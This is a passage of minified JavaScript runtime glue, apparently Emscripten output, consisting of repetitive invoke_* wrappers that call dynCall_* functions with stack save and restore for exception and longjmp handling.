invoke_iiifiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiifiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iiii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiifffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifffffii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_iiiifffffii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiifffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiffii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiiffii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiifi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiiifii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiifiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifiiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiifiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiifiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiiiffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiifi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiiiifi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiifiiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{return Module["dynCall_iiiiifiiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiifff(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiiiifff"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiifffiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15){var sp=stackSave();try{return Module["dynCall_iiiiiifffiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiffiiiiiiiiiffffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23){var sp=stackSave();try{return Module["dynCall_iiiiiiffiiiiiiiiiffffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiffiiiiiiiiiffffiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23,a24){var sp=stackSave();try{return Module["dynCall_iiiiiiffiiiiiiiiiffffiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23,a24)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiffiiiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22){var sp=stackSave();try{return Module["dynCall_iiiiiiffiiiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiifiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiiiifiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiiiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiifiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_iiiiiiifiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_iiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{return Module["dynCall_iiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{return Module["dynCall_iiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13){var sp=stackSave();try{return Module["dynCall_iiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiji(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiiiji"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiij(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiij"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiiiji"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiijii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiijii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiijiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiijiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiij(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiij"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiijii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiijii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiijiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiijiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iij(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iij"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiji(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiji"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iijii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iijiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iijji"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijjii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iijjii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijjiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iijjiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijjji(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iijjji"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ij(index,a1,a2){var sp=stackSave();try{return Module["dynCall_ij"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iji(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iji"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ijiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_ijiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ijj(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ijj"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ijji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_ijji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_j(index){var sp=stackSave();try{return Module["dynCall_j"](index)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jdi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_jdi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jdii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_jdii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jfi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_jfi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ji(index,a1){var sp=stackSave();try{return Module["dynCall_ji"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jidi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_jidi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jidii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_jidii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jii(index,a1,a2){var sp=stackSave();try{return Module["dynCall_jii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_jiii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_jiiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jiiiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_jiiiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_jiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jiiji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiji(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_jiji"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jijii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jijii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jijiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_jijiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jijj(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jijj"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jijji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_jijji"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jji(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_jji"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jjji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jjji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_v(index){var sp=stackSave();try{Module["dynCall_v"](index)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vd(index,a1){var sp=stackSave();try{Module["dynCall_vd"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vf(index,a1){var sp=stackSave();try{Module["dynCall_vf"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vff(index,a1,a2){var sp=stackSave();try{Module["dynCall_vff"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vffff(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vffff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vffffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vffffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vffffii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vffffii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vfi(index,a1,a2){var sp=stackSave();try{Module["dynCall_vfi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vfii(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_vfii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vfiii(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vfiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vi(index,a1){var sp=stackSave();try{Module["dynCall_vi"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vid(index,a1,a2){var sp=stackSave();try{Module["dynCall_vid"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viddi(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viddi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viddiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viddiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vidi(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_vidi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vidii(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vidii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vidiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vidiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vif(index,a1,a2){var sp=stackSave();try{Module["dynCall_vif"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viff(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_viff"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifff(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vifff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffff(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viffff"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifffffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_vifffffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viffffi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffffii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viffffii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffffiifffiiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16){var sp=stackSave();try{Module["dynCall_viffffiifffiiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vifffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifffii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vifffii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffi(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viffii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffiifffffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13){var sp=stackSave();try{Module["dynCall_viffiifffffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffiifffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viffiifffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viffiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viffiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifi(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_vifi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifii(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vifii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof 